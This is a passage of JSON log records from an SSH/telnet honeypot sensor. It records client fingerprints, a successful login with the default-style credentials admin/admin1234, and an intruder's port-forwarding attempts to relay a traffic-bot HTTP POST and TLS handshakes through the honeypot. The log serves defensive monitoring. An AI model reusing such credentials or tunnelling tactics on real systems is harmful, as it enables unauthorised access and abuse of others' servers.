{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61996,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fade16c67b","protocol":"ssh","message":"New connection: 123.27.168.40:61996 (10.17.0.5:22) [session: b3fade16c67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:24.488822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:24.494901Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:24.736392Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:25.861102Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.203834Z","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.313219Z","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.435487Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aEMpTFhNPz9ofnBfK19YZg%3D%3Dco5zcshkCIcaBE9vrBFoBhPsmuuK2e0O%2FUXobI5F59XeLBmq1tyQvWMy%2F85s8N%2BgjEI0lUiFZ4YOlFNizcD40nvBjdlHgPAhf24Q8KasAcVHACqJU8Swg65SxwN97Rt%2Bil7JGyRjPrb00B%2BRVdu6cW3WDPaVW1MhAv5qypdPjAsmfpoo7p66c7thHrzv%2F72Gjvs9gAXeqWtr5gHXpcI3TbWDV%2B98Yk5i7EhaATIMWwqCyj3YDQcyWqYA8lqx21Qiy32rBWDXRE2%2F7dXjWHOFkOJr8KOPE3RrG9MxBAxxp0Nkqa8K%2B9qML1pZYEXLuIpospyMIwAIRMPUac%2B7M2sf7FQumQUnBoGejAmwo6PhH7IwW%2FRe91UQBGVOGNicOBgcBXqoMmIq1UMUc8wvOc9TfAYT79M0UEq%2B75nfpi%2FbzOG6iq3g8T7Jr2CiByNb3fQHlBjsyfKoo9Umexdf4thiRwfWTdpNx3LKQ9bY4YUrkHDiMIq%2Bq5W6bCfNoAZAuwFBBthm0njLRykCX5BwUafkh34U0liQRnLD4%2FFFt%2FOUsPoP%2FieLSq10sS9JUpq%2Fs6Mt4Zzf8qve6dBO3K%2BUth0qMS3BAdOPqV2B41byMoCrHDiJj0HRW5VsM4%2FRWhCB4baz%2Fct5pqhh%2FCzCZRBAORuzm3Bwy0IrbClZcQNdUFsMaxg8EMx38oUK2ZOgWES4YgpbVGkBH4UORreMGLNcehEC%2FkqWCpy1o3UPHIuFddY9fnQ89QQ0qxCGWJDmd2MP0RH63jQI0FXmSRFfcSXd0JWUXVq5nUGdpYt0hV2Mx9dhhReYV5%2FreW3ZC%2BCqBmkBxfXD%2BTCUPM35P0F9sngYkWkLhGHBqk4byUFpc31GMZ%2FRNSbTUgVDN8%2F%2FLfZ93Gr2az7tGJsrdDkba17lorjui8yHBsxd4nqq5YKqxuZLWOSKTFbtNnfQIgUF5oPaH19yPoLO6hiWcFkrqiPGyb5Jkwdqgphz3G%2F7ouNHDXPENZHbd%2FZ2HrGyuoLv3RwUSOAyGVijrHLobv0qiGHdJuzldytxzGBr%2FAWv67p3XWDTibziziE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aEMpTFhNPz9ofnBfK19YZg%3D%3Dco5zcshkCIcaBE9vrBFoBhPsmuuK2e0O%2FUXobI5F59XeLBmq1tyQvWMy%2F85s8N%2BgjEI0lUiFZ4YOlFNizcD40nvBjdlHgPAhf24Q8KasAcVHACqJU8Swg65SxwN97Rt%2Bil7JGyRjPrb00B%2BRVdu6cW3WDPaVW1MhAv5qypdPjAsmfpoo7p66c7thHrzv%2F72Gjvs9gAXeqWtr5gHXpcI3TbWDV%2B98Yk5i7EhaATIMWwqCyj3YDQcyWqYA8lqx21Qiy32rBWDXRE2%2F7dXjWHOFkOJr8KOPE3RrG9MxBAxxp0Nkqa8K%2B9qML1pZYEXLuIpospyMIwAIRMPUac%2B7M2sf7FQumQUnBoGejAmwo6PhH7IwW%2FRe91UQBGVOGNicOBgcBXqoMmIq1UMUc8wvOc9TfAYT79M0UEq%2B75nfpi%2FbzOG6iq3g8T7Jr2CiByNb3fQHlBjsyfKoo9Umexdf4thiRwfWTdpNx3LKQ9bY4YUrkHDiMIq%2Bq5W6bCfNoAZAuwFBBthm0njLRykCX5BwUafkh34U0liQRnLD4%2FFFt%2FOUsPoP%2FieLSq10sS9JUpq%2Fs6Mt4Zzf8qve6dBO3K%2BUth0qMS3BAdOPqV2B41byMoCrHDiJj0HRW5VsM4%2FRWhCB4baz%2Fct5pqhh%2FCzCZRBAORuzm3Bwy0IrbClZcQNdUFsMaxg8EMx38oUK2ZOgWES4YgpbVGkBH4UORreMGLNcehEC%2FkqWCpy1o3UPHIuFddY9fnQ89QQ0qxCGWJDmd2MP0RH63jQI0FXmSRFfcSXd0JWUXVq5nUGdpYt0hV2Mx9dhhReYV5%2FreW3ZC%2BCqBmkBxfXD%2BTCUPM35P0F9sngYkWkLhGHBqk4byUFpc31GMZ%2FRNSbTUgVDN8%2F%2FLfZ93Gr2az7tGJsrdDkba17lorjui8yHBsxd4nqq5YKqxuZLWOSKTFbtNnfQIgUF5oPaH19yPoLO6hiWcFkrqiPGyb5Jkwdqgphz3G%2F7ouNHDXPENZHbd%2FZ2HrGyuoLv3RwUSOAyGVijrHLobv0qiGHdJuzldytxzGBr%2FAWv67p3XWDTibziziE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.438725Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":37534,"dst_ip":"159.203.135.109","dst_port":22,"session":"08ecab955a67","protocol":"ssh","message":"New connection: 101.79.165.43:37534 (159.203.135.109:22) [session: 08ecab955a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.510527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.514423Z","src_ip":"101.79.165.43","session":"08ecab955a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39340,"dst_ip":"159.203.135.109","dst_port":23,"session":"15103353d8f5","protocol":"telnet","message":"New connection: 172.81.62.90:39340 (159.203.135.109:23) [session: 15103353d8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.601325Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.661575Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\x9e\\x82dhI\\xb8Nl\\xdd\\xc8\\x89\\x9b4\\x17\\x16\\xe1\\x0e\\xe6|\\x1a\\x85\\x92a\\x13\\x9b\\x02\\xbb\\xb0\\'\\x19\\xea \\xb9K\"\\x80\\x87\\x9f\".\\x13\\xf2]hE\\xf4\\x9b\\xb5\\xb9\\xf6\\xfaD`>lE\\x92\\xa0f\\xab\\r$kq\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xed\\xf0\\xc3\\xed3WO\\xad;`k\\xb2;\\x97\\xfdN\\xdc-\\tv\\xf0W\\xd5=!\\x0c=L-\\xbbr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\x9e\\x82dhI\\xb8Nl\\xdd\\xc8\\x89\\x9b4\\x17\\x16\\xe1\\x0e\\xe6|\\x1a\\x85\\x92a\\x13\\x9b\\x02\\xbb\\xb0\\'\\x19\\xea \\xb9K\"\\x80\\x87\\x9f\".\\x13\\xf2]hE\\xf4\\x9b\\xb5\\xb9\\xf6\\xfaD`>lE\\x92\\xa0f\\xab\\r$kq\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xed\\xf0\\xc3\\xed3WO\\xad;`k\\xb2;\\x97\\xfdN\\xdc-\\tv\\xf0W\\xd5=!\\x0c=L-\\xbbr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.664366Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:26.733656Z","src_ip":"101.79.165.43","session":"08ecab955a67","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:27.116710Z","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:27.346530Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xd1.i4qu.:\\xc9o\\x80\\x8d\\xcd\\xd7J\\xe3\\xbb\\x7f\\xaa\\tQV\\xc8\\xb7}\\xf0f^\\x91\\xba\\xe5 \\x99k\\x94\\xe6\\xc9\\xf5*\\xeb\\x1d\\xdc\\x96\\xe2[\\x16\\xbf\\xf3B\\x12\\xaaa\\x08\\t\\xfb\\x99\\xef +\\xf8\\xa9\\x15\\xd5\\x11\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 7M\\xc7\\x85\\x86\\x06/\\x9c\\x80\\x94\\xfcwh\\xe8/cEu\\x83\\x84\\xcb\\xc2\\xe2(\\xba\\x12\\xdb#\\x10\\x82\\xa52\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xd1.i4qu.:\\xc9o\\x80\\x8d\\xcd\\xd7J\\xe3\\xbb\\x7f\\xaa\\tQV\\xc8\\xb7}\\xf0f^\\x91\\xba\\xe5 \\x99k\\x94\\xe6\\xc9\\xf5*\\xeb\\x1d\\xdc\\x96\\xe2[\\x16\\xbf\\xf3B\\x12\\xaaa\\x08\\t\\xfb\\x99\\xef +\\xf8\\xa9\\x15\\xd5\\x11\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 7M\\xc7\\x85\\x86\\x06/\\x9c\\x80\\x94\\xfcwh\\xe8/cEu\\x83\\x84\\xcb\\xc2\\xe2(\\xba\\x12\\xdb#\\x10\\x82\\xa52\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\